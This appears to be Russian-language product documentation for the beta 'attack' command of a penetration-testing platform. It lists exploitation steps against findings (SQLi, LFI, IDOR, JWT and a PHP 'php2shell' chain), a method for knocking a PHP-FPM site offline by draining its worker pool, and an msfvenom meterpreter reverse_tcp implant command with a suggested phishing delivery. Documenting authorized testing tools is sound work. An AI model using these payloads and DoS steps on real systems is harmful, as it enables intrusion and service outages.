Imbutus
← Документация

Команда attack БЕТА

Отправьте `attack #<handle>` — id находки (`#wprfsn`, есть на карточке и в list_vulnerabilities). Один прогон доказывает ОДИН вектор неразрушающим PoC и даёт отчёт. Голый `attack <цель>` отклоняется: он запустил бы все векторы сразу.

Эти команды новые и могут содержать ошибки.

  • attack:<target>

    Считывает всё, что команды OSINT, recon и web собрали о цели, из общей базы находок, сверяет обнаруженный стек с базой уязвимостей/эксплойтов платформы (NVD + Exploit-DB + CISA KEV, обновляется каждые 6 часов) на предмет подходящих CVE и публичных PoC, затем превращает каждую пригодную для эксплуатации возможность в подтверждённую уязвимость с рабочим неразрушающим PoC — и пишет готовый для клиента отчёт с воспроизводимой атакой для каждой находки.

    findingssqlmapjwt_toolgit-dumperwebfetchnuclei

    Как это работает

    №ШагЧто делает
    1phpcustomОпределение PHP, метка версии, SAPI и состояние upload-progress
    2php_sinkАктивная проба include/LFI — сообщает вектор php2shell только когда sink есть
    3php_probeПробы конфигурации: memory_limit, max_input_vars, сессия
    4php2shell_chainПопытка цепочки — путь без sink
    5sqlmapSQL injection confirmation
    6param_scancustomАктивные пробы по параметрам: SQLi, XSS, инъекция команд, LFI/RFI, редирект
    7authz_scancustomАвторизация: гость против сессии, чтение чужих объектов (кандидаты IDOR)
    8content_scancustomСкрытые файлы: бэкапы, .git, .env, админ-панели
    9jwt_toolWeak / default JWT signing keys
    10git-dumperRecover a .git repository
    11webfetchcustomRendered page fetch (headless browser)
    12nucleiKnown-CVE template scan

php2shell: две разные цепочки, два разных утверждения

Название покрывает две вещи. Одну мы доказываем сегодня. Вторая — путь через CVE — всё ещё упирается в утечку памяти, там говорим «обнаружено, не доказано».

  • Для цели записан sink → сначала A: секунды, без смещений, работает и на закрытом PHP
  • Sink нет, mod_php prefork, без патча → B
  • Sink нет, FPM → C, и отчёт только про доступность
  • Цепочка никогда не наследует результат другой

php2shell: три цепочки — Один бюллетень, три разные атаки. Разные цели, разные доказательства.

Как уронить сайт (доступность)

php2shell даёт разный исход в зависимости от SAPI. На mod_php воркер выживает, и цепочка целится в выполнение кода. На PHP-FPM фатал out-of-memory завершает воркер, обслуживающий запрос, поэтому тот же запрос — проверка доступности.

N параллельных запросов опустошают пул pm.max_children = N, и повторение держит его пустым.

Кнопка DoS показывается только для находок того класса, где это верно (php2shell / строки PHP-CVE). Она никогда не описывается как доступ: нет шелла, нет данных, нет закрепления, а пропатченная сборка отвечает 200.

Что нужно: включённый session.upload_progress, тело больше memory_limit, post_max_size и лимит прокси выше этого тела, маленький пул FPM и непропатченный рантайм. Если edge обрезает тело, шаг сообщает no-effect — это и есть ответ.

Шаги с меткой «custom» — мои собственные инструменты, созданные мной для этой платформы. Остальное — сторонние инструменты.

Attack работает по списку уязвимостей

Каждая находка — уязвимость на вкладке «Уязвимости» со своим id. `attack #handle` доказывает именно её и записывает вердикт в неё же. Если она не подтвердилась, следующая находка получает СВОЙ прогон атаки — очередь это последовательность атак, по одному вектору.

Два действия на находке

`Attack #handle` воспроизводит находку и пишет вердикт в неё: exploited, blocked (не доказано — с указанием причины) или false positive.

`Get access #handle` — другой результат: после воспроизведения установить и проверить реальный доступ. Оба — кнопки на карточке, и она показывает каждую попытку с шагами и прогрессом.

Один вектор на прогон — и что его выполняет

Шаги выбирает КЛАСС находки по одному реестру: php2shell → `php, php_sink, php_probe, php2shell_chain`; sqli → `sqlmap`; xss/lfi/rce/redirect → `param_scan`; idor → `authz_scan`; csrf/upload → `content_scan`; jwt/session → `jwt_tool`; secret → `git-dumper`; CVE → `nuclei`.

Сузить вручную: `--steps a,b` (например `attack #handle --steps php2shell_chain`). Коды — ЗАКРЫТЫЙ словарь: неизвестный отклоняется со списком допустимых. Класс без обработчика получает один общий вектор (`webfetch`) плюс директиву и плейбук — и никогда все векторы сразу.

Таблица перечисляет ШАГИ платформы, а не уязвимости. Каждый прогон атаки — один из них, выбранный по классу находки. Находка, для класса которой своего шага нет, всё равно есть на вкладке «Уязвимости» цели и всё равно атакуется — общим вектором плюс своим плейбуком.

Запросы, называющие технику

Назовите технику вместе с целью — и пойдёт та же последовательность из двух запусков: без краула, без сканеров, без импровизации. `hack with php2shell example.com` (а также `check php2shell for <target>`) выполняет по порядку:

  1. Разведка, только шаги php2shell — php (метка версии, SAPI, состояние upload-progress), php_sink (активная проба include/LFI) и php_probe (границы memory_limit, max_input_vars, запись сессии). Больше ничего: ни краула, ни nuclei, ни sqlmap, ни сканирования портов.
  2. Атака по тому, что записано — только если есть строка php2shell (кандидат CVE-2026-109618 / CVE-2026-109619 или вектор php2shell). Запуск атаки сам проходит маршрут: цепочка без sink — только если php_probe сказал, что её стоит пробовать; путь upload-progress + include — только если php_sink нашёл sink. Не-PHP цель или цель без записей останавливает последовательность — и в ответе это сказано прямо.
  3. Доказательство, а не прилагательные — совпадение версии, fatal по памяти или убитый воркер не являются выполнением кода. Считается только строка PROOF с реальным выводом (uid=, hostname, записанный на цели файл), и находка остаётся candidate, пока её нет.

Импланты (механизм payload)

Нужен имплант? Его собирает attack-прогон — отдельной команды нет: `msfvenom -p <os>/x64/meterpreter/reverse_tcp LHOST=<lhost> LPORT=<lport> -f <exe|elf|macho> -o /root/payload/<os>-<lport>`, слушатель `multi/handler`, артефакт в базе находок.

Платформа только создаёт файлы: ничего не доставляет и не запускает. Скачайте артефакт с карточки машины (или по `scp`), доставьте по разрешённому каналу — для санкционированной кампании это команда phishing — и запустите слушатель на поде.

Что определяет успех: `lhost` должен быть доступен с жертвы (публичный IP пода, порт открыт в фаерволе провайдера); сырой бинарник msfvenom ловится Defender/SmartScreen; iOS вне области.

Списки

Укажите attack на целый сохранённый список через attack --list <имя> (список после recon), чтобы подтвердить каждую цель в нём по очереди.

Машина Kali

команде нужна активная машина Kali Linux — набор для эксплуатации (sqlmap, jwt_tool, dalfox, git-dumper, nuclei) уже установлен. Арендуйте машину в разделе Virtual Machines.

Несколько машин

Несколько машин? Добавьте --machine <имя> (или -m <имя>) — например attack example.com --machine kali-1 — чтобы закрепить все команды за этой машиной.

Отчёты

Каждый запуск attack сохраняет полный отчёт в файл на вашей машине Kali (в /root/attack/), а в ответе указывается точный путь и ссылка для скачивания.